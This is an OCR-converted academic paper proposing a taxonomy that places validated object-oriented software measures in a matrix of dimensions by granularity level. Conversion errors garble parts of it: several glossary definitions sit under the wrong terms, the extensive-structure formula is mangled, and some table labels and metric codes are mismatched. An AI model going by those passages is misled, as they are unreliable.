olmocr_science_pdfs
|
2024-11-29
|
2024-11-29
|
98821d6617a95de81b6c83be1102d65fe2cafc98
|
Modeling the Object-Oriented Space Through Validated Measures
by Ralph D. Neal
Modeling the Object-Oriented Space Through Validated Measures
Ralph D. Neal
West Virginia University
NASA/WVU Software Research Laboratory
100 University Drive
Fairmont, WV 26554
304-367-8355
rneal@research.ivv.nasa.gov
Abstract—In order to truly understand software and the software development process, software measurement must be better understood. A beginning step toward a better understanding of software measurement is the categorization of the measurements by some meaningful taxonomy. The most meaningful taxonomy would capture the basic nature of the object-oriented (O-O) space. The interesting characteristics of object-oriented software offer a starting point for such a categorization of measures. A taxonomy has been developed based upon fourteen characteristics of object-oriented software gathered from the literature. This taxonomy allows us to easily see gaps and redundancies in the O-O measures. The taxonomy also clearly differentiates among taxa so that there is no ambiguity as to the taxon to which a measure belongs. The taxonomy has been populated with thirty-two measures that have been validated in the narrow sense of Fenton [9] using measurement theory with Zuse's [30] augmentation.
TABLE OF CONTENTS
1. INTRODUCTION
2. THE OBJECT-ORIENTED SPACE
3. SOFTWARE MEASUREMENT
4. THE IMPORTANCE OF VALIDATION
5. MEASUREMENT THEORY
6. THE MEASURES
7. THE TAXONOMY
8. CONCLUSIONS
1. INTRODUCTION
Software development historically has been the arena of the artist. Artistically developed code often resulted in arcane algorithms or spaghetti code that was unintelligible to those who had to perform maintenance. Initially only very primitive measures such as lines of code (LOC) and development time per stage of the development life cycle were collected. Projects often exceeded estimated time and budget. In the pursuit of greater productivity, software development evolved into software engineering. Part of the software engineering concept is the idea that the product should be controllable. Control of a process or product requires that the process or product is measurable; therefore, control of software requires software measures [2].
Software and software development are extremely complex. We should not expect to measure something so complex with one, two, or even a dozen measures. Measures have to be developed to allow us to view software from many perspectives. Many object-oriented (O-O) metrics have been proposed in the literature, e.g., [1], [6], [7], [16], and [17]. To
better understand the contribution of these metrics, it is necessary to categorize them so that we can better understand the dimensions of O-O software. No one has yet organized these metrics in any way that models the O-O space. Until we understand the many dimensions of O-O software, we cannot truly understand the product. It does no good to measure the process if the product is not measured. Being the best at producing an inferior product does not define a quality process. To facilitate understanding of the product, this paper proposes a taxonomy that not only allows us to classify measures but also helps us model the object-oriented space.
**Definition of Terms and Notation**
<table>
<thead>
<tr>
<th>Term</th>
<th>Definition</th>
</tr>
</thead>
<tbody>
<tr>
<td>Complexity, inter-structural</td>
<td>Complexity introduced into the structure of a class by the interaction with other classes.</td>
</tr>
<tr>
<td>Complexity, intra-structural</td>
<td>Complexity introduced into the structure of a class by the interaction of methods within the class.</td>
</tr>
<tr>
<td>Complexity, psychological</td>
<td>Non-structural concepts which make understanding of the entity being measured more difficult.</td>
</tr>
<tr>
<td>Cohesion</td>
<td>The extent to which a class is self-contained.</td>
</tr>
<tr>
<td>Coupling</td>
<td>The extent to which a class utilizes attributes outside itself.</td>
</tr>
<tr>
<td>Entity</td>
<td>An object or an event, e.g., a developed program or the development process.</td>
</tr>
<tr>
<td>Measure (n.)</td>
<td>A numeric representation that has been validated to measure some dimension of some entity -- in our case, software.</td>
</tr>
<tr>
<td>Measurement</td>
<td>The process of empirical, objective assignment of numbers to the properties of</td>
</tr>
<tr>
<td>Measurement level</td>
<td></td>
</tr>
<tr>
<td>Metric</td>
<td>A numeric representation (not necessarily validated) that purports to measure some dimension of software.</td>
</tr>
<tr>
<td>Program</td>
<td>A collection of classes to perform a specific function, e.g., a payroll deduction calculation program.</td>
</tr>
<tr>
<td>Ratio scale</td>
<td>Represents ratios of a property, i.e., ratio scales allow statements such as "a is twice as complex as b" (iff ((a)=2\ (b))); assigned to measures that fulfill the extensive structure.</td>
</tr>
<tr>
<td>Ratio' scale</td>
<td>A weak ratio scale; assigned to measures that fulfill the concatenation rules of the set theory union operation.</td>
</tr>
<tr>
<td>System</td>
<td>A coordinated collection of programs to carry out a specific procedure, e.g., a payroll system.</td>
</tr>
<tr>
<td>Taxa</td>
<td>Plural of taxon.</td>
</tr>
<tr>
<td>Taxon</td>
<td>A taxonomic category or unit.</td>
</tr>
<tr>
<td>Taxonomy</td>
<td>An arrangement of items (measures) onto natural, related groups based on factors common to each.</td>
</tr>
</tbody>
</table>
**Measurement**
Defines the scope of the measurement by naming the thing being measured, i.e., variable, method, class, program, or system.
**Metric**
Represents ratios of a property, i.e., ratio scales allow statements such as "a is twice as complex as b" (iff \((a)=2\ (b)\)); assigned to measures that fulfill the extensive structure.
**Program**
A weak ratio scale; assigned to measures that fulfill the concatenation rules of the set theory union operation.
**System**
A coordinated collection of programs to carry out a specific procedure, e.g., a payroll system.
**Taxonomy**
An arrangement of items (measures) onto natural, related groups based on factors common to each.
observed relational system (Empirical Relational System: A=(A,R1,...,Rn))
some property of software which we wish to measure.
numerical relational system (Formal Relational System: B=(B,S1,...,Sn)).
\(\succ\) signifies is larger than (or is preferred to).
\(\sim\) signifies is equivalent to (or is indifferent to).
\(\rightarrow\) onto
\(\ast\) necessarily leads to.
\(\circ\) binary operation in the empirical relational system, usually designated concatenation.
2. THE OBJECT-ORIENTED SPACE
Authors have not been in agreement about the characteristics that identify the object-oriented approach. Henderson-Sellers [12] listed information hiding, encapsulation, objects, classification, classes, abstraction, inheritance, polymorphism, dynamic binding, persistence, and composition as having been chosen by at least one author as a defining aspect of object-orientation. Rumbaugh, et al. [20] added identity, Smith [22] added single type and Sully [23] added the unit building block to this list of defining aspects. These aspects of object-orientation are not disjoint. In fact there is much overlapping of aspects as different authors grouped sub-aspects differently and created their own individual groupings, each with a unique aspect name. It should be obvious from the preceding list that there are many dimensions to O-O software. It should also be noted that this list may not be exhaustive.
The Tegarden, et al., [24] model of object-oriented systems complexity measurement defines object-oriented systems as looking different from different viewpoints. This model defines four levels of software strata. [18] adds a fifth level of strata. Building on this model, the object-oriented space can be represented as a matrix that partitions the space into levels of granularity. The software levels that a software developer might want to measure (in order of granularity) are: variables, methods, classes, programs, and systems. Each level of granularity exhibits characteristics that contribute to the character of that level. Designating the five levels of granularity as columns and fourteen dimensions of O-O software that have been gleaned from the literature as rows, The Object-Oriented Space matrix (see Table 1 for axes headings) is proposed. This model forces a reasonable consensus upon measurers.
<table>
<thead>
<tr>
<th>Software Dimensions (column headings)</th>
<th>Levels of granularity (row headings)</th>
</tr>
</thead>
<tbody>
<tr>
<td>Clarity</td>
<td>Variable</td>
</tr>
<tr>
<td>Cohesion</td>
<td>Method</td>
</tr>
<tr>
<td>Coupling</td>
<td>Class</td>
</tr>
<tr>
<td>Complexity, inter-structural</td>
<td>Program</td>
</tr>
<tr>
<td>Complexity, intra-structural</td>
<td>System</td>
</tr>
<tr>
<td>Complexity, psychological</td>
<td></td>
</tr>
<tr>
<td>Design</td>
<td></td>
</tr>
<tr>
<td>Encapsulation</td>
<td></td>
</tr>
<tr>
<td>Inheritance</td>
<td></td>
</tr>
<tr>
<td>Information hiding</td>
<td></td>
</tr>
<tr>
<td>Polymorphism</td>
<td></td>
</tr>
<tr>
<td>Reuse</td>
<td></td>
</tr>
<tr>
<td>Size</td>
<td></td>
</tr>
<tr>
<td>Specialization</td>
<td></td>
</tr>
</tbody>
</table>
In order to measure object-oriented software, the measurer will need to be aware of the characteristics of O-O software and of the different levels of granularity inherent in the O-O paradigm. This model parses the object-oriented space into understandable, unambiguous segments and allows the measurer to reason about the object-oriented space in a meaningful way.
3. SOFTWARE MEASUREMENT
Many researchers have asserted the importance of software measurement. Vollman [26] wrote of the importance of software measurement to society while Grady and Caswell [11] and Chidamber and Kemerer [7] described its importance to management.
Measurement is the process whereby numbers or symbols are assigned to dimensions of entities in such a manner as to describe the dimension in a meaningful way. An entity may be a thing or an event, e.g., a person, a play, a developed program or the development process. A dimension is a trait of the entity, such as the height of a person, the cost of a play, or the length of the development process. Obviously, the entity and the dimension to be measured must be specified in advance. Measurements cannot be taken and then applied to just any dimensions. Unfortunately this is exactly what the software development community has been doing [10], e.g., lines-of-code, being a valid measurement of size, has been used to “measure” the complexity of programs [28].
An intuitive and empirical assessment of the entities and dimensions must be preserved by the measurement (the assignment of numbers and symbols). For example, when measuring the height of two people the taller person should be assigned a larger number than the shorter person. Notice that the unit of measure, (feet, inches, meters) has no effect on this rule. Likewise, when measuring software complexity, the more complex program should be assigned a larger number than the less complex program. This is discussed in depth in the section on Measurement Theory.
Because people observe things differently (and often intuitively feel differently about things), a model is usually defined for the entities and dimensions to be measured. The model requires everyone to look at the subject from the same viewpoint. Fenton [10] uses the example of human height. Should posture be taken into consideration when measuring human height? Should shoes be allowed? Should the measurement be made to the top of the head or the top of the hair? The model forces a reasonable consensus upon the measurers. This idea is applied to software measurement in the section on The Object-Oriented Space.
There are two types of measurement: direct measurement of a dimension requires only that dimension; indirect measurement of a dimension requires that one or more other dimensions be measured. Because the dimensions of greatest interest, e.g., quality and reliability, are often external to the entity being measured, and therefore very hard to measure directly, indirect measurement usually achieves more useful results [10]; [15]. That is, internal dimensions e.g., verbal skills, are measured, to assess external dimensions, e.g., intelligence quotient (IQ). Or in the case of software, the number of known defects are counted to assess quality.
4. THE IMPORTANCE OF VALIDATION
Fenton [10] argued that much of the software measurement work published to date is scientifically flawed. This is not a revelation. Software metrics usually have been taken at face value. Because many people believe that
any quantification is better than no quantification at all, just counting the lines of code (for example) was enough to give management the feeling of doing something to try to gain control of the software development process. After obtaining the quantification, management had to try to decide just what was described and how the development process was influenced. Fenton [9] stated that it is often the case that the general lack of validation of software metrics is the reason that managers do not know what to do with the numbers with which they are presented.
Fenton is not the only author who has observed this lack of scientific precision. Baker, et al., [2] said as much when they wrote that research in software metrics often is suspect because of a lack of theoretical rigor. Li and Henry [16] argued that validation is necessary for the effective use of software metrics. Schneidewind [21] stated that metrics must be validated to determine whether they measure what it is they are alleged to measure. Weyuker [27] stated that existing and proposed software measures must be subjected to an explicit and formal analysis to define the soundness of their properties.
Fenton [9] described two meanings of validation. Validation in the narrow sense is the rigorous process of ensuring that the measure properly represents the intended dimension of the software, i.e., verify that the measure is theoretically sound. Validation in the wide sense is the authentication of a prediction system using verified measures of the software. Accurate prediction relies on careful measurement of the predictive dimensions. A model which accurately measures the dimensions is necessary but not sufficient for building an accurate prediction system. The model, along with procedures for determining the parameters to feed the model, and procedures to elucidate the results all are necessary to build an accurate prediction system [9].
In the past, validation in the wide sense has been conducted without first carrying out validation in the narrow sense. Validation in the narrow sense is a necessary step before measures can be used to predict such managerial concerns as cost, reliability, and productivity.
"Very few metrics have been proposed to measure object oriented systems, and the proposed ones have not been validated." [16]
Since Li and Henry’s statement, there has been an explosion of object-oriented software metrics. The recent flood of object-oriented software metrics (Chen and Lu [6]; Li and Henry [16]; Chidamber and Kemerer [7]; and Lorenz and Kidd [17]) has hit the scene with limited validation beyond regression analysis of observed behavior. Chidamber and Kemerer dedicated a sub-section to measurement theory within the section devoted to the research problem. They explained empirical relation systems, formal relational systems, mapping from the empirical system to the relational system, and the properties of the weak order. However, they made no reference to measurement theory in the section on metrics evaluation criteria. They made no attempt to assign a scale to their metrics nor to evaluate them vis-a-vis the representation and uniqueness theorems of measurement theory.
5. MEASUREMENT THEORY
So we have seen, many metrics have been used without the benefit of any theoretical validation. Fenton [9] writes that measures must be validated in the narrow sense using measurement theory. Fenton’s narrow validation is required to establish the scale of
the measure in order to know which statistics can be legitimately applied. Briand, et al. [3] write that measurement theory, while valid for the structured paradigm, does not migrate to the object-oriented paradigm. Zuse [30] writes that the Dempster-Shafer Function of Belief allows us to substitute set theory for the intensive structure of measurement theory to validate measures in the narrow sense of Fenton.
The task of measurement theory is to categorize and describe the types of measurement. There are two fundamental problems in measurement theory; the first is the representation problem. The representation problem is to find sufficient conditions for the existence of a mapping from an observed system to a given mathematical system. More formally, given a particular empirical relational system \( E \) and a numerical relational system \( R \), find sufficient conditions for the existence of a mapping from \( E \) into \( R \). The sufficient conditions, referred to as representation axioms, specify conditions under which measurement can be performed.
Fenton [9] used human height to explain the representation problem. Suppose three people are present. It may be observed that Tom is the tallest of the three, Dick is the shortest of the three, and Harry is taller than Dick and shorter than Tom. Thus the taller than relationship among the three people has been empirically established. Any measurement taken of the height of these three people must result in numbers or symbols that preserve this relationship. If it is further observed that Tom is much taller than Dick, then this relationship must also be preserved by any measurement taken. That is, the numbers or symbols used to represent the heights of Tom and Dick must convey to the observer the fact that Tom is indeed much taller than Dick. If it is further observed that Dick towers over Tom when seated on Harry's shoulders, then another relationship has been established which must also be preserved by any measurement taken. This relationship might be represented in the real number system by \((.7\text{Dick} + .8\text{Harry} > \text{Tom})\). Any numbers that resulted from measuring the height of Tom, Dick, and Harry would have to satisfy the observation represented by our formula. Thus the measurement represents our empirical findings.
Another aspect of the representation problem is pointed out by Weyuker [27]. How unique is the result of the measurement? A measurement system must provide results that enable us to distinguish one class of entity from another class of entity. If a measurement groups all entities into only two or three classes, two entities that are clearly different may end up in the same class, i.e., it may be impossible to discriminate between two entities that should be in different classes. Using Tom, Dick, and Harry again, it is easy to see that measuring their height in miles is less representational than measuring their height in inches, i.e., measured to the closest mile, they are all the same height.
The other fundamental problem of measurement theory is the uniqueness problem. Uniqueness theorems define the properties and valid processes of different measurement systems and tell us what type of scale results from the measurement system. Additionally, uniqueness theorems contribute to a theory of scales. According to this theory of scales, the scale used dictates the meaningfulness of statements made about measures based on the scale. [14; 19]
Let us consider two statements: 1) This rock weighs twice as much as that rock; 2) This rock is twice as hot as that rock. The first statement seems to make sense but the second statement may not. The ratio of weights is the same regardless of the unit of measurement while the ratio of temperature depends on the
unit of measurement. Weight is a ratio scale, therefore, regardless of whether the weights of the rocks are measured in grams or ounces the ratio of the two is a constant. Fahrenheit and Celsius temperatures are interval scales, i.e., they exhibit uniform distance between integer points but have no natural origin. Because Fahrenheit and Celsius are interval scales, the ratio of the temperatures of the rocks measured on the Fahrenheit scale is different from the ratio when the temperatures are measured on the Celsius scale. A statement involving numerical scales is meaningful if the truth of the statement is maintained when the scale involved is replaced by another (admissible) scale.
The Empirical/Formal Relational System
A relational system is a way of relating one entity (or one event) of a set to another entity (or event) of the same set. In the physical sciences the relations take the form longer than, heavier than, of equal volume, etc. In the social sciences (and thus in software measurement) the relations take the form is preferred to, is not preferred to, is at least as good as.
Definition 1: The ordinal relational system is an ordered tuple \((A, R_1, \ldots, R_n)\) where \(A\) is a nonempty set of entities and the \(R_i, i=1, \ldots, n\) are \(k\)-ary relations on \(A\). [28]
The Empirical Relational System is \(E = (A, R_1, \ldots, R_n)\) where \(A\) is a non-empty set of dimensions that are to be measured and the \(R_i\) are \(k\)-ary empirical relations on \(A\) as described above.
The Formal Relational System is \(R = (B, S_1, \ldots, S_n)\) where \(B\) is a non-empty set of formal entities (for example, the real numbers) and the \(S_i\) are \(k\)-ary relations on \(B\) such as “equal” or “greater than.” Measurement is a mapping \(M: A\rightarrow B\) such that \(M\) preserves the relations in \(A\), i.e., let \(B\) be the real numbers, then, if the observed entity \(a1\) is larger than (or preferred to) observed entity \(a2\), then the formal entity \(b1\) must be greater than formal entity \(b2\). Let \(\succ\) denote is larger than (or is preferred to) then \(M\) is a valid mapping from \(A\) to \(B\) iff \(a1 \succ a2 \Rightarrow b1 > b2\).
The relational systems \(A\) and \(B\) along with the mapping \(M\) are sufficient to measure entities on the ordinal scale. If it is enough to know that program module 1 is preferred to program module 2 based on some measurement, then no further structure is needed. However, modules often are combined to create a composite entity which is different from its parts. In order to measure composite entities one must either recalculate the empirical value of the composite entity or combine the empirical values of the parts in some meaningful way.
The Extensive Structure
The extensive structure is an expansion of the ordinal relation system to include binary processes on the entities of the set. The binary process in the empirical relational system usually is designated concatenation, denoted by \(\otimes\). The usual manifestation of the binary process in the formal relational system is addition (+) although multiplication may be the proper process under some circumstances.
Definition 2: The extensive relational system is an ordered tuple \((A, R_1, \ldots, R_n, \otimes_1, \ldots, \otimes_m)\) where \(A\) is a nonempty set of entities, the \(R_i\), \(i=1, \ldots, n\) are \(k\)-ary relations on \(A\) and the \(\otimes_j, j=1, \ldots, m\) are closed binary operations. [28]
The extensive structure is required to measure entities on the interval or ratio scales. Let \(b1, b2, \ldots, b_n\)
b2, b3, b4, be the formal measures associated with a1, a2, a3, a4. Under the extensive structure, M is a homomorphism from A to B iff $a1 \circ a2 > a3 \circ a4 \circ b1+b2 > b3+b4$, i.e., the observed relationship of the concatenated entities must be preserved by the mapping to the formal relationship. Note that addition is assumed to be the concatenation operator.
Criticism of the Extensive Structure
Recent work has questioned the applicability of the extensive structure to object-oriented measures [3], [4], [5], [29], and [30]. Particularly important is the question: must the measurement of an entity formed by the concatenation of two modules equal the sum of the measurements of the independent modules before concatenation, i.e., let b1, b2, be the formal measures associated with a1, a2; is it necessary that $a1 \circ a2$ equates to $b1+b2$?
The result of combining two classes (C1, C2) is a single class (C3) which combines all of the properties of the two initial classes. There are four ways that C3 might be formed [13]:
1) C3 contains C1 and C2 and the names of the properties which appear in both have been differentiated to avoid ambiguities. In this instance, the extensive structure holds;
2) C3 contains both C1 and C2 but the instance variables which appear in both are hidden in one and the methods which appear in both are overloaded in that same one. All properties of both classes are present, therefore, the extensive structure holds;
3) C3 contains C1 and C2 as subobjects and does not present their properties to the outside world. Again, all properties are present, and yet again, the extensive structure holds;
4) C3 is created by merging. Let C1 be a class with the properties (methods and instance variables) a, b, c and C2 be a class with properties d, e. Let $C3 = C1 \circ C2$, then the properties of C3 are a, b, c, d, e. This is the definition of the union operation in set theory. Object-oriented classes then may be viewed as sets with the methods and instance variables of the class being the elements of the set [30].
Concatenation of classes when C1 and C2 are merged should follow the rules of set theory. Whenever set theory is used, instead of the extensive structure, to test for a scale above the level of the ordinal scale [30] we will call this the ratio' scale. This is a weaker test than the extensive structure test. The extensive structure dominates the set theory union structure. That is, the set theory union structure always holds if the extensive structure holds, and the set theory union structure may hold when the extensive structure does not.
The question really is: if a measure is ordinal but fails the extensive structure, is the measure strictly ordinal or would much valuable data be lost by not considering the measure as a higher order scale [25 as cited by 3]? Parametric statistics have been shown to be more robust in the face of scale, i.e., more accurate when the wrong scale has been assumed, than nonparametric statistics [4]. Therefore, there are two reasons to extend the scale of a measure to a higher level. The measure may be more powerful than the ordinal scale will reflect and the parametric statistics that we wish to use to take advantage of this power are forgiving of miscategorization of scale.
6. THE MEASURES
The measures taken from [6], [7], [16], [17], and [18] have been validated to be ratio (or ratio') scales. The metrics from Tegarden, et al., have been taken from their paper without validation. They have been included to show
that work is being done at the variable and method levels.
This is in no way all of the metrics offered by Tegarden, et al. None of their proposed metrics have been included for cells for which validated measures already exist. Also, some of their metrics were merely observations, e.g., “The complexity measured by the fan-in and fan-out measures increase intervariable complexity and the variable polymorphism measure decreases intervariable complexity.” This approach does not convey enough information to allow us to place the variables in order by complexity, i.e., this approach does not lead to an ordinal scale.
**Validated Measures**
(AIM) Average number of instance methods per class [17]
(AIV) Average number of instance variables [17]
(AMS) Average method size [17]
(CRE) Number of times a class is reused [17]
(CLIM) Average number of comment lines per method [17]
(DAC) Density of abstract classes [18]
(DCBO) Degree of coupling between classes [18]
(DCWO) Degree of coupling within classes [18]
(DMC) Density of methodological cohesiveness [18]
(FFU) Use of friend functions [17]
(FOC) Percentage of function-oriented code [17]
(IMC) Intraclass method calls [18]
(LOC) Lines of code [17]: Number of statements (NOS) [17]: Number of semicolons in a class (SIZE1) [16]
(MAA) Messages and arguments [18]
(MPC) Message-passing coupling [16]
(NAC) Number of abstract classes [17]
(NCM) Number of class methods in a class [17]
(NIM) Number of instance methods in a class [17]
(NIV) Number of instance variables in a class [17]
(NMA) Number of methods added by a subclass [17]
(NOM) Number of local methods [16]
(PIM) Number of public instance methods in a class [17]
(PMI) Potential methods inherited [18]
(PMIS) Proportion of methods inherited by a subclass [18]
(POM) Proportion of overriding methods in a subclass [18]
(PRC) Number of problem reports per class or contract [17]
(PrIM) Number of private instance methods [18]
(RFC) Response for a class [7]
(RUS) Reuse [6]
(SML) Strings of message-links [18]
(UCGU) Unnecessary coupling through global usage [18]
(WMC) Weighted methods per class [7]
**Metrics Not Yet Validated**
(I/Ov) Invoked object variables [24]
(mfd) Method fan down [24]
(mfi) Method fan in [24]
(mfo) Method fan out [24]
(mp) Method polymorphism [24]
(vfd) Variable fan down [24]
(vfi) Variable fan in [24]
(vfo) Variable fan out [24]
(vp) Variable polymorphism [24]
7. THE TAXONOMY
As has been stated, a beginning step toward understanding software measurement is the categorization of the measurements by some meaningful taxonomy. Archer and Stinson [1] propose a taxonomy that places a metric in one (or more) of five taxa, viz., system, coupling and uses, inheritance, class, and method. It is unclear where a measure of say
coupling among methods, as in [24], would be classified in this taxonomy. The coarseness of this taxonomy also causes metrics for different software artifacts to be grouped together, e.g., if all coupling metrics are classified as "coupling and uses" metrics, then measures of classes would be lumped together with measures of methods and measures of variables, again as in [24]. A useful taxonomy clearly should differentiate among taxa so that there is no ambiguity as to the taxon to which a measure belongs. If we are to learn about the object-oriented space, it must be possible for diversified measurers to reach the same conclusions given the same data. A taxonomy should at least allow each measurer the ability to start reasoning from the same sensibility.
The Object-Oriented Space matrix offers a starting point for such a categorization of measures. By filling in the cells of the Object-Oriented Space matrix with the measures from section 6, the matrix becomes the Object-Oriented Measures Taxonomy (see Table 2). This taxonomy includes all of the known, interesting characteristics of software and clearly defines where any measure fits among the taxa without worry of overlap or ambiguity. If a measure cannot be placed easily into one and only one taxon, the measure may not be well understood. A measure that is not well understood is useless and costly to the measurer and should be discarded. If a measure cannot be placed easily into any existing taxon, the taxonomy may be incomplete. An incomplete taxonomy calls for more research.
The thirty-two metrics with which the table has been populated have been validated in the narrow sense of Fenton [9] using measurement theory with Zuse’s [30] augmentation [18]. Fifty measures found in the literature ([6], [7], [16], and [17]) were subjected to validation via measurement theory. Twenty of these measures were found to be valid in the narrow sense of Fenton [9]. Every measure that passed validation in the narrow sense fit unambiguously into this taxonomy. Twelve new measures have been validated and added to these [18]. An attempt was made to fill in those cells that lacked validated measures. The attempt was successful in filling in fifteen cells for which validated measures did not previously exist. Additional measures were added to five cells that may have previously had incomplete measurement.
8. CONCLUSIONS
Often there are many metrics which attempt to measure the same dimension of the same level. The collection of measurement data is very expensive [8]. However, the collection of multiple measures to measure the same dimension of the same level of software can be useful. The collection of multiple measures allows them to be compared to each other to either confirm that they do indeed measure the same dimension or establish that one (or more) of them is measuring something other than the dimension in question. Once it is established which measure most cost effectively measures the dimension in question, it may not be necessary to collect the other measures. If the measures in one cell are not all measuring the same dimension, then one or more of the measures may have been miscataloged. It is left to the measurer to determine which measures to use.
Though many of the fourteen dimensions appear multiple times in the literature, they may not be the dimensions that matter. There may be other dimensions that do not yet have metrics designed to measure them but which must be measured in order to understand an object-oriented artifact. Certainly all fourteen dimensions will not matter for all levels. Once cells are identified as being irrelevant they should be Xed out or otherwise marked as such. The same dimension measured on
different levels will almost certainly require different measures or at least a different scope, e.g., lines-of-code (LOC) in a program vs. LOC in a system.
Some measures may be scaleable to levels other than that level for which they were designed. Measures that are scaleable are not directly applicable as defined but may lend themselves to being averaged or summed to fill a cell at a higher level. No measures have been found to be scaleable to cells at a lower level.
Table 2: Object-Oriented Measures Taxonomy
<table>
<thead>
<tr>
<th>Dimension</th>
<th>Variable</th>
<th>Method</th>
<th>Class</th>
<th>Program</th>
<th>System</th>
</tr>
</thead>
<tbody>
<tr>
<td>Clarity</td>
<td></td>
<td></td>
<td>CLM</td>
<td>CLM</td>
<td>CLM</td>
</tr>
<tr>
<td>Cohesion</td>
<td>$(1/(vfi+vfo+vp))$</td>
<td>$(local \ (mfi+mfo) / total \ (mfi+mfo))$</td>
<td>DMC</td>
<td>DMC</td>
<td>DMC</td>
</tr>
<tr>
<td>Coupling</td>
<td>$(1-(1/(vfi+vfo+vp)))$</td>
<td>$(remote \ (mfi+mfo) / total \ (mfi+mfo))$</td>
<td>UCGU</td>
<td>UCGU</td>
<td>UCGU</td>
</tr>
<tr>
<td>Complexity,</td>
<td>remote $vfi$</td>
<td>remote $mfi$</td>
<td>NIM</td>
<td>AIM</td>
<td>AIM</td>
</tr>
<tr>
<td>inter-structural</td>
<td>remote $vfo$</td>
<td>remote $mfo$</td>
<td>PIM</td>
<td>PIM</td>
<td>PIM</td>
</tr>
<tr>
<td>Complexity,</td>
<td>local $vfi$</td>
<td>SML</td>
<td>IMC</td>
<td>IMC</td>
<td>IMC</td>
</tr>
<tr>
<td>intra-structural</td>
<td>local $vfo$</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Complexity,</td>
<td>$vfd$</td>
<td>$mfd$</td>
<td>PMI</td>
<td>DAC</td>
<td>DAC</td>
</tr>
<tr>
<td>psychological</td>
<td>$1/Ov$</td>
<td></td>
<td>PRC</td>
<td>FOC</td>
<td>FOC</td>
</tr>
<tr>
<td>Design</td>
<td></td>
<td></td>
<td>PIM</td>
<td>PrIM</td>
<td>PrIM</td>
</tr>
<tr>
<td>Encapsulation</td>
<td></td>
<td></td>
<td>NOM</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Inheritance</td>
<td>$vfi-1$</td>
<td>$mfi-1$</td>
<td>RUS</td>
<td>RUS</td>
<td>RUS</td>
</tr>
<tr>
<td>Information hiding</td>
<td></td>
<td></td>
<td>CRE</td>
<td>CRE</td>
<td>CRE</td>
</tr>
<tr>
<td>Polymorphism</td>
<td>$vp$</td>
<td>$(vp+mp)$</td>
<td>RUS</td>
<td>NMC</td>
<td>POM</td>
</tr>
<tr>
<td>Reuse</td>
<td></td>
<td></td>
<td>CRE</td>
<td>NCM</td>
<td>NCM</td>
</tr>
<tr>
<td>Size</td>
<td>LOC</td>
<td></td>
<td>LOC</td>
<td>NMA</td>
<td>NMA</td>
</tr>
<tr>
<td>Specialization</td>
<td>AMS</td>
<td></td>
<td>AMS</td>
<td>NMA</td>
<td>NMA</td>
</tr>
</tbody>
</table>
Measures from [18]
Measures from [6], [7], [16], and [17]
Metrics from [24]
Measures that can be scaled up to a higher level or derived from scales at a lower level
Future research
The taxonomy needs to be tested empirically. If meaningful measures cannot be defined for a cell, e.g., encapsulation of a variable, then the cell should be expunged. Likewise, if useful outside variables (performance, schedule, or cost) cannot be defined against which to test the measures of a cell then the cell should be expunged. If all levels of a dimension have been expunged, the entire row (dimension) should be removed from the taxonomy matrix. If, for whatever reason, a new dimension becomes apparent, a new row should be added to the taxonomy matrix. The new dimension should then be populated with validated measures. The measures as well as the new dimension should be subjected to the same rigorous testing, at all levels, as has previously been defined for already existing measures of already existing dimensions. These steps need to take place iteratively until software products and processes are more clearly defined and understood.
REFERENCES
Ralph D. (Butch) Neal is a research associate at the National Aeronautics and Space Administration (NASA)/West Virginia University (WVU) Independent Verification and Validation (IV&V) Facility in Fairmont West Virginia. Butch has over 30 years experience in data processing mostly from a business perspective. He was president of Augusta Computer Systems (a small software development company) before returning to school. He has a BA and an MBA from WVU and a Ph.D. from Virginia Commonwealth University. Research interests include software measurement (s/m) for reuse, s/m for quality control, and s/m of rapid software development processes.
|
{"Source-Url": "https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/19970007318.pdf", "len_cl100k_base": 8725, "olmocr-version": "0.1.53", "pdf-total-pages": 14, "total-fallback-pages": 0, "total-input-tokens": 39771, "total-output-tokens": 10293, "length": "2e13", "weborganizer": {"__label__adult": 0.0003609657287597656, "__label__art_design": 0.00030350685119628906, "__label__crime_law": 0.0003190040588378906, "__label__education_jobs": 0.0010423660278320312, "__label__entertainment": 5.1021575927734375e-05, "__label__fashion_beauty": 0.00015091896057128906, "__label__finance_business": 0.0002560615539550781, "__label__food_dining": 0.00029349327087402344, "__label__games": 0.0005359649658203125, "__label__hardware": 0.0005083084106445312, "__label__health": 0.0003688335418701172, "__label__history": 0.00021183490753173828, "__label__home_hobbies": 8.004903793334961e-05, "__label__industrial": 0.0002536773681640625, "__label__literature": 0.00042557716369628906, "__label__politics": 0.00023221969604492188, "__label__religion": 0.0003368854522705078, "__label__science_tech": 0.00832366943359375, "__label__social_life": 9.751319885253906e-05, "__label__software": 0.00433349609375, "__label__software_dev": 0.98046875, "__label__sports_fitness": 0.00026726722717285156, "__label__transportation": 0.0004229545593261719, "__label__travel": 0.00014925003051757812}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 43253, 0.02888]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 43253, 0.65122]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 43253, 0.91829]], "google_gemma-3-12b-it_contains_pii": [[0, 80, false], [80, 2599, null], [2599, 6520, null], [6520, 10130, null], [10130, 13618, null], [13618, 17107, null], [17107, 20909, null], [20909, 24519, null], [24519, 28062, null], [28062, 30833, null], [30833, 34570, null], [34570, 37121, null], [37121, 40772, null], [40772, 43253, null]], "google_gemma-3-12b-it_is_public_document": [[0, 80, true], [80, 2599, null], [2599, 6520, null], [6520, 10130, null], [10130, 13618, null], [13618, 17107, null], [17107, 20909, null], [20909, 24519, null], [24519, 28062, null], [28062, 30833, null], [30833, 34570, null], [34570, 37121, null], [37121, 40772, null], [40772, 43253, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 43253, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 43253, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 43253, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 43253, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 43253, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 43253, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 43253, null]], 